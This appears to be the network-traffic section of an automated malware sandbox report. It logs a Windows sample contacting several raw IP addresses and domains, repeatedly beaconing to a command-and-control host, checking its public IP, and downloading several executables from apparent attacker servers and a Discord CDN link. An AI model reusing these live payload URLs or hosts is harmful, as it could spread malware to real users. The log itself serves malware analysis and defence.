Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)

Source: unknown	TCP traffic detected without corresponding DNS query: 45.91.200.135
Source: unknown	TCP traffic detected without corresponding DNS query: 45.91.200.135
Source: unknown	TCP traffic detected without corresponding DNS query: 45.91.200.135
Source: unknown	TCP traffic detected without corresponding DNS query: 45.91.200.135
Source: unknown	TCP traffic detected without corresponding DNS query: 45.91.200.135
Source: unknown	TCP traffic detected without corresponding DNS query: 45.91.200.135
Source: unknown	TCP traffic detected without corresponding DNS query: 45.91.200.135
Source: unknown	TCP traffic detected without corresponding DNS query: 45.91.200.135
Source: unknown	TCP traffic detected without corresponding DNS query: 45.91.200.135
Source: unknown	TCP traffic detected without corresponding DNS query: 45.91.200.135
Source: unknown	TCP traffic detected without corresponding DNS query: 103.130.147.211
Source: unknown	TCP traffic detected without corresponding DNS query: 80.66.75.114
Source: unknown	TCP traffic detected without corresponding DNS query: 103.130.147.211
Source: unknown	TCP traffic detected without corresponding DNS query: 194.58.114.223
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.95
Source: unknown	TCP traffic detected without corresponding DNS query: 103.130.147.211
Source: unknown	TCP traffic detected without corresponding DNS query: 103.130.147.211
Source: unknown	TCP traffic detected without corresponding DNS query: 80.66.75.114
Source: unknown	TCP traffic detected without corresponding DNS query: 103.130.147.211
Source: unknown	TCP traffic detected without corresponding DNS query: 194.58.114.223
Source: unknown	TCP traffic detected without corresponding DNS query: 194.58.114.223
Source: unknown	TCP traffic detected without corresponding DNS query: 80.66.75.114
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.95
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.95
Source: unknown	TCP traffic detected without corresponding DNS query: 103.130.147.211
Source: unknown	TCP traffic detected without corresponding DNS query: 103.130.147.211
Source: unknown	TCP traffic detected without corresponding DNS query: 103.130.147.211
Source: unknown	TCP traffic detected without corresponding DNS query: 103.130.147.211
Source: unknown	TCP traffic detected without corresponding DNS query: 103.130.147.211
Source: unknown	TCP traffic detected without corresponding DNS query: 194.58.114.223
Source: unknown	TCP traffic detected without corresponding DNS query: 80.66.75.114
Source: unknown	TCP traffic detected without corresponding DNS query: 80.66.75.114
Source: unknown	TCP traffic detected without corresponding DNS query: 103.130.147.211
Source: unknown	TCP traffic detected without corresponding DNS query: 103.130.147.211
Source: unknown	TCP traffic detected without corresponding DNS query: 103.130.147.211
Source: unknown	TCP traffic detected without corresponding DNS query: 103.130.147.211
Source: unknown	TCP traffic detected without corresponding DNS query: 103.130.147.211
Source: unknown	TCP traffic detected without corresponding DNS query: 103.130.147.211
Source: unknown	TCP traffic detected without corresponding DNS query: 103.130.147.211
Source: unknown	TCP traffic detected without corresponding DNS query: 103.130.147.211
Source: unknown	TCP traffic detected without corresponding DNS query: 103.130.147.211
Source: unknown	TCP traffic detected without corresponding DNS query: 103.130.147.211
Source: unknown	TCP traffic detected without corresponding DNS query: 103.130.147.211
Source: unknown	TCP traffic detected without corresponding DNS query: 103.130.147.211
Source: unknown	TCP traffic detected without corresponding DNS query: 103.130.147.211
Source: unknown	TCP traffic detected without corresponding DNS query: 103.130.147.211
Source: unknown	TCP traffic detected without corresponding DNS query: 80.66.75.114
Source: unknown	TCP traffic detected without corresponding DNS query: 80.66.75.114
Source: unknown	TCP traffic detected without corresponding DNS query: 80.66.75.114
Source: unknown	TCP traffic detected without corresponding DNS query: 80.66.75.114

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0050CB10 InternetOpenA,InternetOpenUrlA,InternetOpenUrlA,InternetReadFile,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

3_2_0050CB10

Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: api64.ipify.org
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.33 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /attachments/1274634716451967060/1289665540448583732/setup.exe?ex=66f9a621&is=66f854a1&hm=fc4266f43c6f8dfc860fb6b6d8abbcf74b2c0c3aad95f3315ea5328c3afac3cf& HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Cache-Control: no-cacheHost: cdn.discordapp.comConnection: Keep-AliveCookie: __cf_bm=wpi6oPUcntYrXWT3PYGwGgDWKmpGfD4ZkuNO6kBvh64-1727564002-1.0.1.1-MrMb8JOnPSN8tnxNgmDckRkxoeMJPdy.Zdp6geseOA1kyYiRgyy32DpdsDfaphc.ai880_T0oqzy1Ij9IOvFEQ; _cfuvid=Fux3.V5pZy3_FTP4N1VuUhIkq8HQnc5B3SRi7LPp5jE-1727564002783-0.0.1.1-604800000
Source: global traffic	HTTP traffic detected: GET /1S3fd7 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: iplog.co
Source: global traffic	HTTP traffic detected: GET /api/wp-ping.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.91.200.135
Source: global traffic	HTTP traffic detected: GET /dl?name=mixnine HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 80.66.75.114Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /Files/Channel2.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 103.130.147.211Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /Files/Silencer.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 103.130.147.211Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /Files/CheckTool.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 103.130.147.211Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /thebig/stories.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 176.113.115.95Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dergrherg/setup1.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: marafon.inCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/385121 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 194.58.114.223Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /Files/tac.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 103.130.147.211Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /name HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 80.66.75.114Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /add?substr=mixnine&s=three&sub=NOSUB HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 80.66.75.114Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll/key HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 80.66.75.114Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 80.66.75.114Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.66.75.114Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.66.75.114Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.66.75.114Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.66.75.114Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.66.75.114Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.66.75.114Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.66.75.114Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.66.75.114Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.66.75.114Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.66.75.114Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.66.75.114Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /soft/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: dHost: 80.66.75.114Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /soft/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: dHost: 80.66.75.114Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /soft/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: sHost: 80.66.75.114Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c444db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf814c6eb959d3e HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
